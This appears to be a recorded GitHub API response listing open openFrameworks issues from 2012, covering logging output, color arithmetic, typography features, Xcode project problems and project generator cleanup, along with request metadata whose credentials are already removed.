ofLog.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1165","comments":6,"milestone":null,"number":1165,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1165","assignee":null,"title":"ofLogError, ofLogWarning lack format, ... args","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-11T11:56:33Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4063366,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-10T16:47:19Z","body":"change `allocate(_w, _h, OF_IMAGE_COLOR);` to `allocate(_w, _h, OF_IMAGE_COLOR_ALPHA);` (via reza on irc)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1152","comments":4,"milestone":null,"number":1152,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1152","assignee":null,"title":"grabScreen in ofImage fails on Android","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-04-09T17:15:21Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4032047,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-29T14:46:40Z","body":"the module name is no longer printed if it's coming from OF itself.\r\n\r\ninstead of the constant name, a human-readable string is printed.\r\n\r\nexample output from project generator: http://pastebin.com/raw.php?i=0dp938Jx","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1151","comments":6,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1151,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1151","assignee":null,"title":"shorten + simplify ofLog output","labels":[],"closed_at":null,"created_at":"2012-04-08T21:13:14Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4023525,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1151.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1151","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1151.patch"}},{"updated_at":"2012-04-17T14:47:36Z","body":"\r\nWorking on the project generator, which has a fair amount of logging, I'm concerned about how much space we loose on each line: \r\n\r\n OF: OF_LOG_NOTICE:\r\n\r\nit's about 15-20 characters or so, pretty significant where each line is 80, so alot more wrapping happens then I'd like, making the results less cleaner or organized. \r\n\r\nI propose we alter \r\n\r\n string ofGetLogLevelName(ofLogLevel level){\r\n switch(level){\r\n case OF_LOG_VERBOSE:\r\n return \"OF_LOG_VERBOSE\";\r\n break;\r\n case OF_LOG_NOTICE:\r\n return \"OF_LOG_NOTICE\";\r\n break;\r\n case OF_LOG_WARNING:\r\n return \"OF_LOG_WARNING\";\r\n break;\r\n case OF_LOG_ERROR:\r\n return \"OF_LOG_ERROR\";\r\n break;\r\n case OF_LOG_FATAL_ERROR:\r\n return \"OF_LOG_FATAL_ERROR\";\r\n break;\r\n case OF_LOG_SILENT:\r\n return \"OF_LOG_SILENT\";\r\n break;\r\n default:\r\n return \"\";\r\n }\r\n }\r\n\r\nso that we can have something like : \r\n\r\n (of:notice) \r\n (of:verbose) \r\n (of:error) \r\n\r\nor something smaller and if we loose the all caps, maybe less threatening :)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1150","comments":4,"milestone":null,"number":1150,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1150","assignee":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"propose shortening ofLog console message length","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-04-08T20:32:49Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4023305,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-07T15:00:32Z","body":"Hey all\r\n\r\nA few sections of the repo need some love to put them in line with the project generator:\r\n\r\n1. Readme's\r\n2. Rogue old project generators\r\n3. Document complementing tools\r\n\r\n# Readme\r\n\r\nThe readme's in the root of the repo need some love\r\nnone of them mention project generator \r\n\r\ni feel like each should be a description of how to get to a working project generator on each of the respective platforms\r\n\r\nalso note:\r\n* .vs2010 is missing\r\n* readme.txt repeats information from the other readme's (i.e. it's a list of platform specific instructions)\r\ni think this should be perhaps a little description of oF and a few tips on how to get started\r\n\r\n# Rogue old 'project generators' / documenting complementary tools for project generator\r\n\r\nHere's things I can find in the repo which don't make sense to me at the moment:\r\n\r\n* `openFrameworks\\scripts\\????\\compileAllExamples.bat`\r\n** is this supposed to be run (optionally) after the project generator?\r\n** why is the project template within this folder?\r\n* `openFrameworks\\scripts\\????\\createProjects.py` \r\n** if this isn't supposed to be used anymore, lets delete it immediately (we can always recover in emergencies)\r\n\r\nand the 'other' folder in the root.. perhaps never took off?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1146","comments":0,"milestone":null,"number":1146,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1146","assignee":null,"title":"Document Project Generator / clean out old tools","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2012-04-07T14:43:53Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4015514,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-07T19:49:31Z","body":"When attempting to render a mesh to a PDF the ofCairoRender does not output a filled mesh, thus the PDF output looks empty. \r\n\r\nIf you open the file in illustrator you'll see the paths, there but with no stroke or fill. \r\n\r\nWhen I dug into the issue a bit further I realized that Cairo isn't capable of rendering shapes with per vertex colors easily...\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1145","comments":3,"milestone":null,"number":1145,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1145","assignee":null,"title":"ofCairoRenderer ofMesh doesn't render properly to PDF","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-04-06T22:02:01Z","state":"open","user":{"url":"https://api.github.com/users/rezaali","gravatar_id":"548374013b9c6e50ebbd2294e12d4f31","login":"rezaali","id":555207,"avatar_url":"https://secure.gravatar.com/avatar/548374013b9c6e50ebbd2294e12d4f31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4010494,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-01T04:21:01Z","body":"When using the ofColor subtraction operator, negative results are clamped to positive values instead of 0. Values are circulating between 0 and 255, which could be useful for hue in HSV but in most cases (R, G, B..) is not what I would expect.\r\n\r\n ofColor a(10, 40, 80);\r\n ofColor b(20, 5, 30);\r\n ofColor c = (a-b); // I get: (246, 45, 50), I would expect: (0, 45, 50)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1144","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1144,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1144","assignee":null,"title":"ofColor subtraction and negative values","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-06T07:56:44Z","state":"open","user":{"url":"https://api.github.com/users/jembezmamy","gravatar_id":"69a23dc9914cb6bc3202c50e15eabba0","login":"jembezmamy","id":720354,"avatar_url":"https://secure.gravatar.com/avatar/69a23dc9914cb6bc3202c50e15eabba0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4001148,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-04T12:07:24Z","body":"When using the dragEvent ofDragInfo I always get the following error message:\r\n\r\nwarning: Could not find object file \"/Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/openFrameworks/apps/devApps/macDragDropExample/buildGlutFrameworkHackedWindowLevel10.4/libForeground.a(macx_foreground.o)\" - no debug information available for \"/Users/mcast/Code/GLUT-ToPost/macx_foreground.m\".\r\n\r\nIt doesn't seem to hurt my code but is a bit annoying, especially early on when I wasn't sure if it had anything to do with compile failings. Not a big issue obviously, but it might confuse some other newbie's also.\r\n\r\n(OF 0.07 - Xcode 4.2.1 - OS X 10.7.3 - macbook pro) ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1138","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1138,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1138","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"benign error message","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-04-04T11:05:57Z","state":"open","user":{"url":"https://api.github.com/users/davideo71","gravatar_id":"42c3c1acbdb4a998d8096b49745219cd","login":"davideo71","id":1611385,"avatar_url":"https://secure.gravatar.com/avatar/42c3c1acbdb4a998d8096b49745219cd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3968742,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-03T17:37:10Z","body":"theo's #1133 made me think about ways that i use noise regularly that might also be abstracted.\r\n\r\ni would also like to see versions of noise that return multidimensional results. normally i do something like:\r\n\r\n\tofVec2 a(ofSignedNoise(t, 0), ofSignedNoise(0, t)); // 1D -> 2D\r\n\tofVec2 b(ofSignedNoise(x, 0), ofSignedNoise(0, y)); // 2D -> 2D\r\n\tofVec3 c(ofSignedNoise(t, 0, 0), ofSignedNoise(0, t, 0), ofSignedNoise(0, 0, t)); // 1D -> 3D\r\n\tofVec3 d(ofSignedNoise(x, 0, 0), ofSignedNoise(0, y, 0), ofSignedNoise(0, 0, (x + y) / 2)); // 2D -> 3D\r\n\r\nand it would be good to spend some time making sure these are really good ways of doing it, then implement them inside some functions like `ofSignedNoise2()` and `ofSignedNoise3()` (for example).","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1134","comments":2,"milestone":null,"number":1134,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1134","assignee":null,"title":"multidimensional noise output","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-01T16:44:55Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3917377,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-01T17:48:12Z","body":"ie: the equivalent of doing \r\n\r\nfloat rate = 0.02 + ofNoise(ofGetElapsedTimeF() * 0.02, 100.0) * 0.015;\r\nfloat value = ofSignedNoise( rate, x, y ); \r\n\r\nas one function. \r\n\r\nalso see kyle's #1134 for other noise utils. \r\n\r\nI find myself needing this quite often for more natural random motion where the rate of change is variable. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1133","comments":0,"milestone":null,"number":1133,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1133","assignee":null,"title":"ofNoise and ofSignedNoise with 2nd order control for rate.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-01T15:45:11Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3917018,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4941'), ('content-length', '55518'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"414a5c156bbe219ad21d164052b40f6c"'), ('date', 'Tue, 29 May 2012 19:27:11 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-04-02T02:05:52Z","body":"This is a feature discussion issue for what string features we should add to of.\r\nofZach mentioned some regexp ones from P5 match matchAll\r\nWould be great to get some eyes on this.\r\n\r\nOne approach would be a static class or namespace.\r\nThe idea would be we could include a variety of handy functions that would be useful for people not wanting to get into regexp\r\n\r\n\tofString::contains(str, \"apple\") //returns bool\r\n\tofString::starts(str, \"The\") //returns bool\r\n\tofString::ends(str, \".\") //returns bool\r\n\tofString::count(str, \"apples\") //count how many times apples appears in the \r\n\tofString::join(myVectorStr, \", \"); //this is currently ofJoinString\r\n\tofString::split(someText, \".\"); //this is currently ofSplitString\r\n\tofString::split(someHtml, \"<\", \">\"); //this is the same but returns a vector of things between the start and end delims\r\n\tofString::limit(someText, 200); //limit the text to 200 characters. optional arg to add ... to the end.\r\n\r\nQuestions:\r\n- Should we mirror P5 with match and matchAll or should we indicate that regexp is required? ie regexMatch regexMatchAll ?\r\n- Other string utils we could add?\r\n- Should it be ofStringUtils:: or ofString:: ?\r\n- Something to do a split and then return a vector of float int etc?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132","comments":6,"milestone":null,"number":1132,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1132","assignee":null,"title":"ofStringUtils:: feature discussion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-31T17:52:48Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":3911629,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-05-27T17:40:30Z","body":"This is a feature discussion issue for what should be added / changed to ofTTF.\r\nWould be great to get some eyes on this from @vtron @ofzach @arturoc and anyone with thoughts on the matter.\r\n\r\nTextAreas:\r\n- Fit text to a box\r\n- Handle overflow ( ie either truncate or resize box height )\r\n- non ragged options\r\n- could textAreas work with both ofTTF and ofDrawBitmapString ? abstract text formatting?\r\n\r\nAlignment:\r\n- Left align a string\r\n- Right align\r\n- Center\r\n- Top align \r\n- Base align \r\n\r\nSpacing:\r\n- Kerning\r\n- Leading / line height\r\n\r\nLoading:\r\n- Allow for loading a font up to a max size for drawing at different sizes. \r\n- Allow for selection and loading of specific sizes within one object. ie: myFont.setCurrentSize(12); \r\n- Font family's / sets ? Bold, Italic etc? \r\n\r\nDrawing:\r\n- Allow for drawing font at different sizes. Scale font as needed. \r\n\r\nFormatting:\r\n- Could we somehow allow a string to have different colors, sizes. Right now it is a pain to change colors or sizes. \r\n- would this be replicating basic html or another approach? maybe better as an addon?\r\n\r\nInfo:\r\n- Ability to get the x and y position of the nth character in the string? useful maybe for cursor or selection?\r\n\r\n**Update:**\r\n-Underline\r\n-Render rect behind text ( a la what @kylemcdonald added to ofDrawBitmapString)\r\n-Scale type to fit a rect + keep aspect ratio\r\n-Crazy: text along a path :) ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131","comments":25,"milestone":null,"number":1131,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1131","assignee":null,"title":"ofTTF feature discussion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-31T17:36:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":3911537,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-31T14:44:01Z","body":"Agree on a common format for a header in the contributed example files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1130,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1130","assignee":null,"title":"Define standard header for examples.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-31T14:44:01Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":3910580,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-24T02:12:05Z","body":"\r\n\r\nXcode 4 mangles OF projects pretty badly in the following ways: \r\n\r\na) it autogenerates schemes, and \"openframeworks\" appears as the chosen scheme\r\nb) it sometimes chooses the wrong SDK for OF -- is there a way to set that?\r\nc) debug and release are not really clear, part of this is a shift in xcode -- but it's much harder to see how things are compiled and to set release or debug\r\nd) I still had issues with OF needing to be recompiled all the time. I tried to fix this, but we should make sure it's done right. the of lib was appearing red even though it had been built, etc. \r\n\r\nI've tried to fix some of this in detroit with the PG, but I don't think it's the right way to do it. Overall, it would be great to have projects work smoothly on xcode 4...\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1129","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1129,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1129","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"title":"xcode 4 issues: scheme, auto-generation of schemes, rebuilding OF, sdk, etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-31T14:39:04Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":3910555,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-31T16:32:04Z","body":"When deprecating api's (e.g. ofEvents, ofVertexes), perhaps we could help automate the changes through simple scripts to update api\r\nSuggest sticking to something close to how uncrustify scripts are run (and perhaps there are tools like uncrustify but specifically for this task)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128","comments":1,"milestone":null,"number":1128,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1128","assignee":null,"title":"upgrade scripts","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-31T14:38:19Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":3910549,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-09T16:47:04Z","body":"It would be nice (and useful for testing the PG) if the PG would get an option to clean the examples folders of all generated files. \r\n\r\nCurrently, the quickest option is to delete the examples folder on disk, and do `git reset --hard HEAD`.\r\n\r\nAs before, milestoned for 0071, but feel free to push back.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1126,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1126","assignee":null,"title":"PG Feature request: Clean examples folder","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-30T12:51:30Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":3897090,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-29T16:47:29Z","body":"there is a hard limit of 100 files when using drag & drop into an of app. not sure if it's an of issue, but am curious if it comes from the hacked glutDragEventFunc ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124","comments":0,"milestone":null,"number":1124,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1124","assignee":null,"title":"void dragEvent(ofDragInfo dragInfo) limited to 100 files in osx 